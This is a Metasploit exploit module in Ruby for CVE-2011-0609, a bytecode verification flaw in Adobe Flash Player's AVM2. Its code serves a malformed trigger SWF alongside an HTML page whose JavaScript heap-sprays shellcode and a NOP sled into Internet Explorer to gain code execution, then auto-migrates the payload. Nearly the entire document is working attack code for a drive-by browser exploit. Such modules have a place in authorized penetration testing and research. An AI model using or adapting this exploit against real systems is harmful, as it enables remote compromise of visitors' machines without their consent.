Adobe Flash Player AVM Bytecode Verification



##

# $Id: adobe_flashplayer_avm.rb 12091 2011-03-23 04:41:48Z bannedit $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking

    include Msf::Exploit::Remote::HttpServer::HTML

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Adobe Flash Player AVM Bytecode Verification',
            'Description'    => %q{
                    This module exploits a vulnerability in AVM2 action script virtual machine used
                in Adobe Flash Player versions 9.0 through 10. The AVM fails to properly verify 
                bytecode streams prior to executing it. This can cause uninitialized memory to be 
                executed.

                Utilizing heap spraying techniques to control the uninitialized memory region it is
                possible to execute arbitrary code. Typically Flash Player is not used as a 
                standalone application. Often, SWF files are embeded in other file formats or 
                specifically loaded via a web browser. Malcode was discovered in the wild which 
                embeded a malformed SWF file within an Excel spreadsheet. This exploit is based
                off the byte stream found within that malcode sample.
                },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'bannedit' # Metasploit version
                ],
            'Version'        => '$Revision: 12091 $',
            'References'     =>
                [
                    ['CVE', '2011-0609'],
                    ['URL', 'http://bugix-security.blogspot.com/2011/03/cve-2011-0609-adobe-flash-player.html'],
                    ['URL', 'http://www.adobe.com/devnet/swf.html'],
                    ['URL', 'http://www.adobe.com/support/security/advisories/apsa11-01.html']
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC'          => 'process',
                    'HTTP::compression' => 'gzip',
                    'HTTP::chunked'     => true,
                    'InitialAutoRunScript' => 'migrate -f'
                },
            'Payload'        =>
                {
                    'Space'    => 1000,
                    'BadChars' => "\x00",
                    'DisableNops' => true
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'Automatic', { 'Ret' => 0x04040404 }],
                ],
            'DisclosureDate' => 'Mar 15 2011',
            'DefaultTarget'  => 0))
    end

    def load_swfs
        path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2011-0609.swf" )
        fd = File.open( path, "rb" )
        trigger = fd.read(fd.stat.size)
        fd.close
        return trigger
    end
    
    def on_request_uri(cli, request)
        trigger = load_swfs
        trigger_file = rand_text_alpha(rand(6)+3) + ".swf"

        if request.uri.match(/\.swf/i)
            print_status("Sending Trigger SWF")
            send_response(cli, trigger, { 'Content-Type' => 'application/x-shockwave-flash' })
            return
        end
        
        shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
        nops = [target.ret].pack('V')
        nop_sled = Rex::Text.to_unescape(nops, Rex::Arch.endian(target.arch))

        var_blocks    = rand_text_alpha(rand(6)+3)
        var_shellcode = rand_text_alpha(rand(6)+3)
        var_index     = rand_text_alpha(rand(6)+3)
        var_nopsled   = rand_text_alpha(rand(6)+3)
        spray_func    = rand_text_alpha(rand(6)+3)
        obj_id        = rand_text_alpha(rand(6)+3)
        
        # The methods used in this exploit currently could be improved. Heap spraying can likely
        # be done using ActionScript. I am still investigating this possibility. Additionally,
        # Hafei Li has been conducting some interesting research in the area of ActionScript 
        # related vulnerabilities which could be leveraged for this exploit.
        #
        # Currently this method only works with IE as Firefox runs Flash in a container process
        # which is uneffected by JS heap spraying.
        html =  <<-EOS
        <html>
            <head>
            </head>
            <body>
            <script>
            function #{spray_func}() {
                #{var_blocks} = new Array();
                var #{var_shellcode} = unescape("#{shellcode}");
                var #{var_nopsled} = unescape("#{nop_sled}");
                do { #{var_nopsled} += #{var_nopsled} } while (#{var_nopsled}.length < 8200);
                    for (#{var_index}=0; #{var_index} < 25000; #{var_index}++)
                        #{var_blocks}[#{var_index}] = #{var_nopsled} + #{var_shellcode};
                }
            #{spray_func}();
            </script>
        <center>    
        
            <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
                     id="#{obj_id}" width="0" height="0"
                     codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">
                 <param name="movie" value="#{trigger_file}" />
             </object>
        </center>

        </body>
        </html>
EOS

        print_status("Sending #{self.name} HTML to #{cli.peerhost}:#{cli.peerport}")
        send_response(cli, html, { 'Content-Type' => 'text/html' })
    end
end